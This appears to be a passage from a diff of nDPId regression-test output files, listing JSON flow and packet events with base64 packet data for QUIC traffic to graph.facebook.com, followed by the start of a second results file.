TGw44eUPJeiqQ8qEhbvrsfPi3A+VS5FRGlwZaAkkAdoB2gRkAwEAAAAAAAAAAAAAABYAAQACACEB2gAAAAAAAAAAAAAAAAAAAAANY6kd"} +00709{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":41432,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.15","dst_ip":"69.171.250.15","src_port":35957,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Facebook","breed":"Fun","category":"SocialNetwork"},"quic": {"client_requested_server_name":"graph.facebook.com","version":"TLSv1.3","alpn":"h3-fb-05","ja3":"61d8a93ff379660087082a82411f19a2","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft)"}} +02165{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464206,"pkt_caplen":1346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1346,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAHoAAEARKapFq\/oPCgACDwG7jHUE7DGTx\/rOsAIACGUZSqSBwJ2mAETSQ4uzcebnNMDWiCLwgEqse1zwFbQeUwCYbirASYBY9Wqb\/AVucNo+1QzVbJaW9TpMoqvmNgwqhyeKJHn4nzURskXOXtyoQu1UCn4VWBURvJjr0Pri5khEPw4xAwDV7X2Rmmpwaw6btUsOaonrqKF\/SrLeyArFzwB+JFVws5mjdog13nZj3AyrnfXROIcoKcafi5iIMUPL8fCRhq9X7vo879HkMFFe\/UL0Z6KfMxRHk\/gm5EOke7DkOtpvDqjM8A17vn\/YA\/LmKAMC318G22YHyWoexSGb3BcRVBGh\/JnZslVfKZDHgCPKBJ6TZoECS2S1Lkq5nHD0FrjB28JkpPGddocsvTJ4gXR11CtFRogKRhcL6ToomCWSsXQm4N4h+xa8EUgP+Qp0EvdNEgFlkK7QzIbTOeUkbO0qojWV6pfET3Iov+\/apIMX2oqertd1yP5huAQbmPBJDrUV5aSXJ2n4942yy8nej3YOzA3244Ppj3KJ1FI9fYQWy94tzkcAq0MyyNAtAzVQrMQHV9+ftrN2eaUEuTAr5G712uv1AnCx12zkzS\/bPkH5HakesCqHiBdPHaH4mxGfceFuvWrXvk9k8noKiLgriTnvQwp\/saWNDkm8kvfm9PpqQm+XgxMCJ0tq2pG80BHbTgRQV8MdZ11XnvblfPEVlDFLqayo6KQYDuE9pUfQ+9AqEaxGVZRMSVRaIpJDPVqd0UHWM8ATc92GN71YPW\/frstXWA7sGYASVobLo1b3c8kYQSBM7dcU\/iqAkl+FksHEaC1aLZjGfaRKtnrpTDuyyUXcztv9cqa5wo9RQzervEK0UxM3gVjtBBX1mCaBfaZIZdXvbDZThkMu9RGphMLYrx9SqWAcKRkM9YhQ4qnUOJEDTD2qoX8miGa+JoKbQ6qKnL2RRJM\/0dLcmr8S6LVgNf3TuED+N3hbsZ9OBQ7xHjHnYpm\/+OxE3iCQ7O\/MjCEYbY876HUh2UXvGhRXGh19ilKbwQQLH+dz5uix38Q4qECRqV09vmTz3Swbe+BtJ26CqtxI2DYiDUkT56hG4GnrWss\/5mqds3b7uwxVTv8iRTcgWALX6YR8I8LcEwnW6P35r6yzQ8NmLvjaaqZkC\/6YKBBhBFJ4gpdUENYZBLszMz\/0jCicUWKWyfwMDGVvAlcFM7uVWLy8jO0qLX37EScSwg3DeIeQr72\/VcJHLle0Tm+dHFDyuGwxcML\/AaZe6mgicoiyETeB09Smyq9Y78I5wTornR4T1K0JN64JfYcnJe1\/YmYcW1VlHkcIRW6sSa0q5r9kPM+iCHOL7wY9T6OnVogbkFJzee5fZ+Oq9S8PvlK+4jsPkUzDv6d3+PRuP5JWYWDpXd8Qhym58OswJSKelR1rmXKN2C\/uxVLv3kgZxbiHXFdSArCkFj5BWP4WtRYPeuQ5VALz9l8XUPpyq\/09yKtHs\/TW2KvPCNoNxInVtL\/9V7UyFB2cFMukn2UUKBEJJUOWG0p+3sALv+tMcZpDx9cDnCtfccjlF6qNg6Io5OabNDbmM3UDOyuHva8jvqAsKtELxYaeOp5rbZaQ+wK7lDWDooe0BUvE8YL9NWtHK\/I2zrwe4HzXFx1p5ULH4KoSajttOnTnVRnoaPTH5vR+8nV092hE6ZD\/6m9zExloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAACg8yWg="} +02165{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464217,"pkt_caplen":1346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1346,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAHsAAEARKalFq\/oPCgACDwG7jHUE7Icwx\/rOsAIACGUZSqSBwJ2mAETStSk6pRwdyId1aH4WX4pVsk+hVtbLW4hKoqKIUKSo9tdUjjTVL5Yto7M3DICwaAoLYXCD+5dqw0TmZSrfqNiW2qJkNrsg0k\/kAdqV7j6+J9emg0iopVNY8z94Dkdknf05ci\/NoDXo7jX0aTp1J6GxxB8erH\/0SWZ+DyrbIMZ0xZ5SuS1DqMnN61NBKxN4\/jPv9ciPfLFFXyU0okn\/oJgJdQ4WrwMnOPK0yukS3dDQKMu5v+5h3OqBwQW1oLHmZA6rMWwlnpuiFU739YXcxuHETmzC2NOSBa0FZ1xSGByNv0mIS\/veQS6ztyCKi6cmIt52Goz5V26xn8ITbWRMKyzCQ9ygzGjFLSLB+V+ogEf08ganfO6W0dHJdPTEHqx274QToI6nzYBz8eQeCAoVd4nrh3slWslWTkHeQVW8sENY6mHlCHceqCHC8YwsKeoSN\/4JG6l1w4zyPArMZGkKB7jSxPuUQCGzOht7pw5Gk5Gp83Di44gZYUIyNVymDB16sT39aoraDeo5r5qBdNZ91SsMzaUcukPc+uOFPSAz0EuZbTe9n8OtdEkkzeGl9cG18rBcD7tfjxG18gi\/aTc\/Qsb2KdP82bZ\/OipJydJdUpM++DNflKBUq6VmZNq\/mEwBZaf36uML1LJOAoceV1rx2cgE7b5Wa2y583PSIvc0y8yCVCHd7UpFmIJOJrYMAiOgNdkL9i8G7a60vJ0BffKaiILbh52Cd\/gZSExquDEnfPS9pscJ3chfy\/\/FZGZ2CQbE65G5r2LgRj1a0KrZ\/O4ML+0k9MQaf9He5c\/jILvUKyvJwLUWG3lSoXOphrxABdatvx5PAii2lwtYhrYvxbQdkmGsIRtsvgWyth\/48R3yefn+bIHFq+Ln\/mQ4+8W6h+y9VYGjLy+j1gNFUujglm08r+aneixuCDo8NVE+WAW9F9bx6GkTQPaTP2\/obE0Ej5h95N8FRRXbNl8Q32+hc1BcPW7PYZhe4s7f99gVOs1PvusSkQjfl9x1h6vbtCoGsaxvv+KkMXJr040is81X8KUUNFqu8hZlZbEQdDUlK04iWVHyjfijDT4J15Tv7e9ZlWiE8P4TthJEkS\/V\/B6UFWx7NxNha5AI5q7ShAs7c3HMWi7ShahE0cUHWo1N0zwF8\/WnAGHEQUC8y4BhBQ7EaKwJ5nulzruzqp+D0MI00rZhOKTfBp6FWu0gmkwjBtMV14lN3KiO+Fugvl0PPD7usXWaKzR2dw4JslfP5IRxZB5PlrUhggAF+4XvJxhjRYhltzgO0VmcidYbokhyBxc5p8EN7Brdd5jbC5KWU5ziyf1Xh75DhXXM9GVyTUDxQyOG\/19oznEsnm6HNfViWsEBqqhaXc1PD0G1Ath517JUA\/pAp9aK6ha0kEfZOISLrdAh\/wfyRh1qF0vTiaYWT3z2kewwb2CKR6DkEQkLWuW6ksgBnomifnuXO\/A4qhCgYZUw8feNCqTOFonKJtx2NUnViJDtqHr07cnNA2vZFiN+8SsLW130LG60Uj0wsHpIPMQDNy88BvEV2fH8Yk1GkJTndWveloeKe4e8X8FUWonC0LnETHyEJoR6mY698HICIqyNVbCWwwIZl3RhkLsYcNRGWOHE1xH8nz2KWwIwVPQWegjsOIMvejTuWRloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAB\/S7Lg="} +02167{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464239,"pkt_caplen":1346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1346,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAHwAAEARKahFq\/oPCgACDwG7jHUE7Pun4vrOsAIACGUZSqSBwJ2mRNPUKyAFTiIR2D9LmWONp\/pKu58K8xL2QH3MMLvlIm5wZVpJfJuwyJ\/1M3tSAzTO7kjPI3eHBb9IFzJ5EM102smu6+dh1QdA\/XWl13B5U7mJXfZdgiMmoH6TMFeO9l59NUWVB3FrB1D+83n8F9jw5BVmkY2OPbmS9uXhO3oLJjNvzhgiz9LiL0Peg4iBHPZ3bnefg84NyqMA6bGiBHjw8O\/pggXBHbm0y039at\/mEzBf62LN0g+jv6L2c7tRnEpUns4cJX54tQ1bXJ5Hhxh3rT54lw4rrebaQCbwFhibEvqZWGljIGdjbOpa6liHVVmRN2tu\/GBhyOGb0StB\/jpkBjcqcM94pTjas7+bYnRrk8ZSgYviOw8nDLpc2na4yCaDVIVl\/pzppcM74NTbQKve3Nar7W9KbDiDSaMAENX7mwhYQ18bwd3uHY8CUMOGjo\/8euzZjkZ0fqCDRE3vdm4KLl5+4\/UkQuBZWoFk\/P2Heh0\/lgddV3IePrdA6fNLSr8BKSgLGA1ZasEncG2JczdCSpW32pij29+anl+pMYgG1xzrztWUD1ETcf6lrUI11Nrj+82\/V73yznpeq7b9VscUvGV9OZECREHrcvb+pZDpYZL6JhF9swDp8CcOJJW+kip95Ov52baFifgdWzSPIduRrqIdERwwU6uq\/xmextGbx1KqKtby8DZc51UT3zzVMYep8bkl6y02VlktPuEK9u+QMd79lD6CIjW6qp5UxTZUtg8jrVUa2qNaqIekUrye4Bzl97pIPdBT4PssDCFsKgu31Bpm8CKL+2xWNmPLUcDOBBgIHzzDBuznQ7cBUCzjZlif+hxsEmJy3g5g3\/xJNTjxK+car7ACp7B+H1R5WQpkSDWn\/gKlYeGIPW5T8mOqp4WAHeTZest5awJfealSj\/CfwMs\/1Df7bfDUHTG14VDKd\/hRegDw1cfzcn3rS+uwWfXIm+mNshIKscMmPDsExmAokd+CvN0JuzdGOibtj3vbwDU4vsLbdbgOXENLxvYoEKqOPmpluuCqkWSQX\/UTadmXu44AWmWGdRQUpe32qb\/M0fPPEznTo\/4YrREjJ5jLnXRjbVI3HR4NPEZW1W\/9+X5lPYycQDN0lnl1dTk4utJeAg2p\/gP3JOV+wA1ygYJ5wU1GjgsOdz+EiDWtAQ93xX+7PqU0RTfcJAMwYHLO8gHD8UmTyvey2jiJJMc\/NrEBM1a76byOqZW2ZpMIDjRCtGhGFGhw4tu7OsejTzxA6T4fkSVAM0RcHzuFFeX1yZp3G8u6suFgzreLYuvmcBrNhHUTfsEKl4+aUnvPAuGzXCYIejrOiP9DSMGN8i\/AdhOoP+4i52mM3bH5MLyVmx9EYwfM0+yRTPLIifi4gzjoQl39CwhJ5abQwEmy5yGBYVxIliLKOrnnK4U00GmZhnCirgfPFCTOe\/qKCIPE7b86iKQ6zDr+wGAH8x1\/Vr6JDpHoyfytADR6TA1MJzboAI\/u+WxBW60Mr8wra7Ky8MTEMtqEAV4MNy3QwSj+5Boi9v6UaR+XFmEdKxTqXYP3bAo1k89toaHV8RAROwWdWZYQWji2vw49SgOlspTK5LeZbdfL6JCEHPDOXosDytI1rgaUPivx6K5pOY3FnYb2NgiqwzaVvc4sqLOH\/hloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAImdn5Q="} +02169{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464304,"pkt_caplen":1346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1346,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAH0AAEARKadFq\/oPCgACDwG7jHUE7NYs4\/rOsAIACGUZSqSBwJ2mRNOp9fQvn1f7lG72Bw+E6NBO8LR8mD6RkYoGJj7YIoOLkr2BWwfK0spPYy+zYGWX+a+c9rHGaE\/8AFsGVmGd26vTDA2yukmOJUfOmTtJz95HrnPFSG+\/TXHqQjk5klIE16FLBeiNi6m\/ct8wPGJ9RUbZqJaLVts+GZFzeMSRX+eYZERYnLYtPQPOywMGAZR5dzRsdw3jDQYkcN53aPm0lceepojo42lKerw8v6LOu22kD+71z4QDa4KbQzfUDp3LH6BpZQ6IsP9xHtu8kvC1sMujkXVqWo4PwU1vr8utquEF9g6Edj1O8CnayP2acmvLS9hrhF7CGL\/\/\/DnocizH0vNxW1ov+oyWwjbcB4cKqjTFeavm8o80oXs5etE\/0w5eFp+lmQaKzY0Y3yFmQ4u8brDlmcVIExhEgggZeFVC9lL9oOJw+T9YQyahiK65vbSi1+dot2yavrzsTWJiTor0nyNgEiCiviGKK3Ugt6GYCifHXPC+ko\/\/b1QvveO8QmYiv8AP2V\/SWNC14hUcS+VAN8JRlCbBPMNZf5CGc1GwEg+7a4289LEunmnUX2jPN9vYfHH58+XntmHmuXoNXd+GAXGmBpL3pm9he0pLxavwsdTVC6qK8sKWNygxAdWjfNWfqF5l0iTI6JYa4\/y33xaYPcLxg2NKR5k5UeV+DbMoZh5oLZlH+HG0w8grzsBY0UqgdK4AyP+poGSbQAEMRSIkOomtrtelNM\/CJ7PizVrNKpGbp+EpEXMTlKKu9mAH5wfJW5yjomiaaWvGIaq7gLWY9llWYvKDLPe+Ot\/Zlo70lUm2Wen8purBfU4\/v6CMzqcAGFEkRA8xMmhdxqR55Nj0wKZs+RQeJinGAS0a8g3PGJbOybsinObB6I0QXHDA\/BCZjPyuqT029QJULHNw4IqshshnGFg3nbzChRrWQc0AiB5OcsWclYM82EXN8ST8RvLF1WKcSxiSUqZRBPt4kZeVgU6dUletzdTTtDjmZcMX6Dpoo8d0S1zQL01nH0uioe7eYaw9k\/Piatckxd0yCv9fyOSwNFhCKxpC1GXBWqlnzr5Xkx8pHwnfnGUKyYsQ42dNNkbszwP1I6YjcrEdp4kQ3sTLrEmlVAvA4aTA0MKDmYMzxz3zBJIZV6dv1qjp7tD0dSAly35BlkwSJjGxKF9J5GgFKfSnvAs\/OiBf9hVa+A6yxuM4HtZTS\/zRldyW57HwUxn5Qy4K6cscwe\/7EfDGt+KoQI83PH5+fargDPhSWZK8UtA+jWy2oF5ALL8zgGosqXNMsOm5dKcPAdecM\/pz1MIewkul7sxt\/JgvAFL67lq7QvvnpQzr8lJgqwZzwBrBvGj9NKkaDXeHsynidTbkbLez1tjvdUEDeISKE7lW\/ojOz\/Lqe\/T7KSL5gyQyjF97d9xNrPNTeh\/HfJdKZ\/zWpQOiu67yweKqxgA9dorbSGAD+RdOGT7rQYJQusp\/jzG9SNrMyUzV7HK3K\/pEUqwZWMz+QAHUA3RloM07jN1F3nkICmQ4z3jHqqH2nY3JfZ5N0+1Qbuerb\/7N+BqOS9LICONl+GduIvQlJ6k18z\/aBuv25LlGUp9XFoS9b0Hk1oEaH7ReOgL6Cc+6IEzZSF3euyrFMEVMA\/mrlSkSX25Uc7jz7gii7RloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAPxWaP0="} +01326{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464329,"pkt_caplen":728,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":728,"pkt_l4_len":642,"pkt":"CAAnANMtUlQAEjUCCABFAAKWAH4AAEARLBBFq\/oPCgACDwG7jHUCgkPL4\/rOsAIACGUZSqSBwJ2mQmnEKbk6C9LLAprHWXKHWQdjT7Bw5Wun\/RU5pMialT0w77gk5L3WTm0LBzL2kLs0\/SDodKHx8\/zgqer8658ZI0XcnQG6bIlq\/V8H3XRyGRXBUSs1jcY\/PxW5o1fwv1uGTZFqTEN5yFTaiQrkoMEIXqK2115XoTUuUhSsVjgfX+3kKwCEtr6WIqqJtVAxqFPyRT677IIU2KOyG5FTVKYR5oZqDH2DTZDkCddAffN6UQnRQKoBi0gb8NWbC4ewiLUDNlKIs\/DCMNQxL6ZoeGFtmmsTClMkwVljCfyyrlRfgTO8sSutB9j15t1v7xgYOdjr7gNrIr+IatK1+rIC935zexYYvcPEb2zYvBEfu95QVn89JXYqZBXFT3e7sDMXSiMoOAA\/Bl7F5YlbMncfsDDtFh8wkLIe4rZK\/SCX9xST4dONVSxhNk7JuiDDVJ\/5cbIT4quqvYd+fgW28it5gUYT4pcr3pfQEOhTuQo3mGqb21m0oJSA3TJ3YmJnBGV8V4HJ8Hv7aCFC0drRC+7dICLar8L6K\/XIQ0vOdhsHs2UXG3kQ+r3VCLBvnSf9xyoxF9Y2ILQiFoda\/CqfT5v7SLSuN4j0NSnI0cYbeKQLGXiJCyfdsW9LUMI\/SqPFZJgsKbN1eBaGJ4P1BHvM+ykYL\/ycP05aKXuaH5rhpp7GbJjvnHS20tYaZtCjRaxh3Dms3RwwUI1MTKJcrVSbKmJncSGWdJrFh6+13zMV3hAfURHt\/l7YdJhDuJSeoJ+20pM8k6+B6K+6LF2MBpBdHJr7BziIOO8uX7WuMUUFhG2zb0l9bwDB2Ugx\/2+3rhiFYxloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAFSrFyE="} +00538{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":464344,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":63,"pkt":"CAAnANMtUlQAEjUCCABFAABTAH8AAEARLlJFq\/oPCgACDwG7jHUAP6PeQVxe0H+uZB80tpUGJF\/FOneGNqJoqBufeBy3ZCPrjyKavslVExjCGWHSzL7d12FPHSWCUDfStxloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAACt63aA="} +00577{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":482790,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":93,"pkt":"UlQAEjUCCAAnANMtCABFAABxAABAAEAR7rIKAAIPRav6D4x1AbsAXTkE6frOsAIIZRlKpIHAnaYAQESH1MCiucAuyQbfH5hM\/eoCtZrjKlnnG0XH7GLRZy36ZBtKcNvUS6DLfqBWOSIavs5bOHaNyf5UKCyhzrxujW9cxVSu2RloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAMeJHQI="} +00560{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":482872,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":81,"pkt":"UlQAEjUCCAAnANMtCABFAABlAABAAEAR7r4KAAIPRav6D4x1AbsAUWQqVGUZSqSBwJ2m2yr1Q0Gv1C5ThAzJL7MhahLm13Sjw1rCs5jNtNhHIQsALaMOHfBAN+y4esnGRSmLjQZ+Aa7jbN16bYO9lhFJUxloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAACBSIGY="} +00524{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":489907,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":50,"pkt":"CAAnANMtUlQAEjUCCABFAABGAI4AAEARLlBFq\/oPCgACDwG7jHUAMoJu7PrOsAIACGUZSqSBwJ2mQBl8soeL1D6\/l8Qt0vkbWJHl24Srggxn37YXGWgJJAHaAdoEZAMBAAAAAAAAAAAAAAAWAAEAAgAhAdoAAAAAAAAAAAAAAAAAAAAA9dbR5Q=="} +00497{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":489953,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":29,"pkt":"CAAnANMtUlQAEjUCCABFAAAxAI8AAEARLmRFq\/oPCgACDwG7jHUAHbMdWuuLzJwZaDGNQ9emK\/ZTP8VIDDDSGWgJJAHaAdoEZAMBAAAAAAAAAAAAAAAWAAEAAgAhAdoAAAAAAAAAAAAAAAAAAAAA1kS\/gw=="} +00499{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":489968,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":34,"pkt":"CAAnANMtUlQAEjUCCABFAAA2AJAAAEARLl5Fq\/oPCgACDwG7jHUAIuurVZgVSoF8G8bfJTp52imcu667wqU7OmXwjs4ZaAkkAdoB2gRkAwEAAAAAAAAAAAAAABYAAQACACEB2gAAAAAAAAAAAAAAAAAAAABBuFen"} +00800{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":489979,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":255,"pkt":"CAAnANMtUlQAEjUCCABFAAETAJEAAEARLYBFq\/oPCgACDwG7jHUA\/ze5TUhfRxauwQKQESXXOvvEIjR2c8gFVxEbYpp577YkVedjPbjQSiPNnc6HsQTkrUp8ZSlihItxMehqvAhublRP4zs7BJh\/g2kUttS5VL9h4Hb+AEJkIxmCidmdB2uCbNTjCjcdIX1vHMmtuzBKPsBXv26XyXN9RJL7GpiZdtfRYlT+Zw925d9XFS6vfjgVugKjGmFyhwBUQ\/jF9LrfgnMAAit6ItpALlCngKESJqrSw1xGqFsB1YVaBKcHjoITDK5fSUvpRzvQSsllaul2GEdUx\/3Wi67MB1O65clVL2SBHCW2QChDPVnTnoR+6n4CAsaT1QWNmSLGnBloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAAMDh5wg="} +00511{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":500982,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":42,"pkt":"UlQAEjUCCAAnANMtCABFAAA+AABAAEAR7uUKAAIPRav6D4x1AbsAKuTESGUZSqSBwJ2mMk6Nt0Gm4aLYR2aPxthlM0NC0+1eF\/tZTRloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAALvDf+M="} +01870{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":50,"pkt_ts_usec":309237,"pkt_caplen":1133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1133,"pkt_l4_len":1047,"pkt":"UlQAEjUCCAAnANMtCABFAAQrAABAAEAR6vgKAAIPRav6D4x1AbsEF2uFUWUZSqSBwJ2mMcfPOUKudx8IIdHFM+KYJWQvGFhfEc+0DxpgsTk44tZtXhYT2vNYWnzuIL1izcfXlPisguidPmO2DqtN7xgWikzAgQY8F03zNKDzWAGNqzF+LwWD+XTBieSsyeSBANPhvyxGVuE04HB+E00Q7ceTw8dR+xfDxfHvwU9UmfDZocpLYx377vu\/M6kJ\/X8XH5pcrTmMfFBo6MSZ7Bc7jrGDWNg3je6LONHE93LfSwNV1LIiMYJJybwFgfl4G8+uIwH4zKgX4UzCKwFaitESJ3\/P0woXSIe4VhcvPOZCqKbd5EXS7ylCxgNR0CAaLPbHtRyowOgRxiJeeoHGEq5zwK9u5Ee0sARBdMz4uFPT3KAMyOerg36WU1qYHYfP9k6jgIXTaEDFLgtpmuh3GDDch3UKt8xAuikoUDhknxmxc6aUubsklPpCltOmm9Woi9N7qceDtuzlf0WZpEYZC5QliXkSyp70lnKWjAuMPEDhtundmLlompnxrMRidleKKdTtuo1l5nX\/ECbozZoAv4MuQCX9YWYSMjv0u0uUT1c6uvEu0d51yOL+s9AV8pKlvk3MLKn0WgC2YLCcjG9WYhSMJ58b+84ZaBBUZ3Og5qPYcRKEdHAAa0N3rFC78EoJApuBItaIZj1OUUcwcBvGTJ752ruh2TWzG4VnIM1vofvYSAkxeeeIf+Ua5J6Ak2MKIA79HqfkvUrxlhcca7VEuSVvoTOWM5i\/I8cMfw6y2avOBJdbCtWDM7pY60Rwt5B5GdifarEN4OcqipbPZLDax0HccOkJJaC2pgFYW5brOiYImYlxggdctEaB1k0DPifMZQ+zGgB7Cb0H\/zZsPJkegDkB+kVN1iB1n6nJBAEUjI3qTLmAy68krMF61lsL0LwNoBtIJnEklxridi3Hae6kz2w0pbSJMDpPqGcAMCgz9XgWU\/lbULK1TU5ov+2bFyy+yI+Cf9B7yUUfDLkMOgEVwdra9DpaNhRAK8y7ctoft25rY7LGurcOG4hJgLAWwg0TenWVvjqlWP8G4JwMRLUK6GmeXsem6rYz8wAml+y77EXDfzohoNACzJoBo5k\/NxeSRif9VK9vJmx8uvrFfptb\/TY2HPHPvXYBhKLbdDnKaGfbOL6KeOo0pQhT3NUo5NasuPbGn9valN\/JkvdIRb1qZdXPZDXvNJNCgdwe+CjjA9ks9mo1Oq5oROlL4NzopfnJ6UzUYHRuFegfbmZnG81daq+iJEfAicFte2S4AB3XHpsAdypFr\/7g3vbSHXA1dE3\/ZmxinbKy9yb2dR2\/YwaQL2ZeNv4j3ghJeBU6mtAUufHJX\/pK3RTdcW\/lPWIACQf4z6pCDcEKG0ol83FYIOJxgk3y9h66neuY3f\/zIBloCSQB2gHaBGQDAQAAAAAAAAAAAAAAFgABAAIAIQHaAAAAAAAAAAAAAAAAAAAAADw7OGY="} diff --git a/test/results/quic-mvfst-exp.pcap.out b/test/results/quic-mvfst-exp.pcap.out new file mode 100644 index 000000000..deb7c77d9 --- /dev/null +++ b/test/results/quic-mvfst-exp.pcap.out @@ -0,0 +1,17 @@ +00535{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1600365863681,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2aac:cdf7:d506:7807:9092:75f:a963:f4ab","dst_ip":"3f65:ece9:fe71:6e2a:face:b00c::358e","src_port":57587,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 